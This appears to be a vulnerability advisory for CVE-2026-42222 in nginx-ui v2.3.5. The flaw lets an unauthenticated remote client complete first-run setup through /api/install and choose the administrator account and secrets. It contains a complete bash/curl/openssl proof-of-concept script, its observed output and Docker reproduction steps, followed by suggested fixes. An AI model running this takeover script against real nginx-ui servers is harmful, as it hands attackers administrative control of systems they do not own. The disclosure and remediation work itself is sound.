CVE-2026-42222

Because the bootstrap request also initializes the application's trust material, this is more severe than a simple default-admin issue. An attacker does not merely guess credentials; they define the initial administrator account and application secrets themselves.

PoC

The following standalone PoC is sufficient to reproduce the issue without relying on any repository-local helper script. It requires only bash, curl, and openssl.

Standalone PoC:

#!/usr/bin/env bash
set -euo pipefail

base_url="http://127.0.0.1:9000"
email="[email protected]"
username="pocverify2"
password="Passw0rd123"

tmpdir="$(mktemp -d)"
trap 'rm -rf "$tmpdir"' EXIT

install_before="$(curl -fsS "${base_url}/api/install")"
printf 'INSTALL_BEFORE=%s\n' "$install_before"

key_json="$(curl -fsS \
  -H 'Content-Type: application/json' \
  --data "{\"timestamp\":$(date +%s),\"fingerprint\":\"install-takeover-poc\"}" \
  "${base_url}/api/crypto/public_key")"

key_escaped="$(printf '%s' "$key_json" | sed -n 's/.*"public_key":"\(.*\)","request_id".*/\1/p')"
printf '%b' "$key_escaped" > "${tmpdir}/public_key.pem"
openssl rsa -RSAPublicKey_in -in "${tmpdir}/public_key.pem" -pubout -out "${tmpdir}/public_key_spki.pem" >/dev/null 2>&1

printf '{"email":"%s","username":"%s","password":"%s"}' "$email" "$username" "$password" > "${tmpdir}/install.json"
encrypted_install="$(
  openssl pkeyutl -encrypt -pubin -inkey "${tmpdir}/public_key_spki.pem" -pkeyopt rsa_padding_mode:pkcs1 -in "${tmpdir}/install.json" \
  | openssl base64 -A
)"

install_post="$(curl -fsS \
  -H 'Content-Type: application/json' \
  --data "{\"encrypted_params\":\"${encrypted_install}\"}" \
  "${base_url}/api/install")"
printf 'INSTALL_POST=%s\n' "$install_post"

install_after="$(curl -fsS "${base_url}/api/install")"
printf 'INSTALL_AFTER=%s\n' "$install_after"

printf '{"name":"%s","password":"%s","otp":"","recovery_code":""}' "$username" "$password" > "${tmpdir}/login.json"
encrypted_login="$(
  openssl pkeyutl -encrypt -pubin -inkey "${tmpdir}/public_key_spki.pem" -pkeyopt rsa_padding_mode:pkcs1 -in "${tmpdir}/login.json" \
  | openssl base64 -A
)"

login_response="$(curl -fsS \
  -H 'Content-Type: application/json' \
  --data "{\"encrypted_params\":\"${encrypted_login}\"}" \
  "${base_url}/api/login")"
printf 'LOGIN_RESPONSE=%s\n' "$login_response"

Observed output during live verification:

INSTALL_BEFORE={"lock":false,"timeout":false}
INSTALL_POST={"message":"ok"}
INSTALL_AFTER={"lock":true,"timeout":false}
LOGIN_RESPONSE={"message":"ok","code":200,"token":"<redacted>","short_token":"qIJAE3dQMm3afhaV"}

Steps to Reproduce

1. Start a fresh local nginx-ui v2.3.5 instance from the tested Docker image digest with empty /etc/nginx and /etc/nginx-ui directories.

mkdir -p .tmp/poc-nginx .tmp/poc-nginx-ui

docker run -d --rm --name nginx-ui-poc \
  -v "$PWD/.tmp/poc-nginx:/etc/nginx" \
  -v "$PWD/.tmp/poc-nginx-ui:/etc/nginx-ui" \
  uozi/nginx-ui@sha256:d73343e3009c9b558129a2be0cacd6c2c57ed8006a5871873b874b812e612e5a

2. Save the standalone PoC above as a shell script and execute it against the internal HTTP listener, or run the equivalent commands directly inside the container with:

docker exec -it nginx-ui-poc bash

Then set base_url to http://127.0.0.1:9000 and run the standalone PoC.

3. Observe the output.

Actual result:

• GET /api/install returns {"lock":false,"timeout":false}
• POST /api/install returns {"message":"ok"}
• a follow-up GET /api/install returns {"lock":true,"timeout":false}
• POST /api/login succeeds with the attacker-chosen username and password and returns a valid token

Expected result:

• arbitrary remote clients should never be able to complete bootstrap without a host-local or out-of-band secret
• POST /api/install should be rejected unless the request carries a valid host-local or out-of-band bootstrap authorization factor
• attacker-chosen bootstrap credentials and application secrets should never be accepted from arbitrary remote clients during first-run setup

Suggested Fix

1. Remove remote unauthenticated installation as a security boundary. Do not rely on a 10-minute time window for protection.

2. Require a local-only or out-of-band bootstrap secret for POST /api/install, for example:

• generate a one-time setup token at startup
• print or store it locally on the host
• require that token to complete initialization

3. Bind initial setup to loopback by default, or otherwise explicitly restrict first-run setup to trusted local access paths.

4. Remove the pre-install unauthenticated exception from other sensitive setup-adjacent routes such as /api/self_check and /api/restore.

5. As defense in depth, narrow CORS on setup endpoints. POST /api/install should not be callable cross-origin by arbitrary websites.

6. Add regression tests covering:

• unauthenticated remote POST /api/install being rejected by default
• no installation claim without a valid bootstrap secret
• /api/self_check and /api/restore requiring authentication
• no cross-origin installation via browser preflight and JSON POST

[^cors]: In live testing, OPTIONS /api/install returned Access-Control-Allow-Origin: *. That may enable browser-assisted exploitation in some deployment layouts, but it is not required for exploitation and is not the primary path.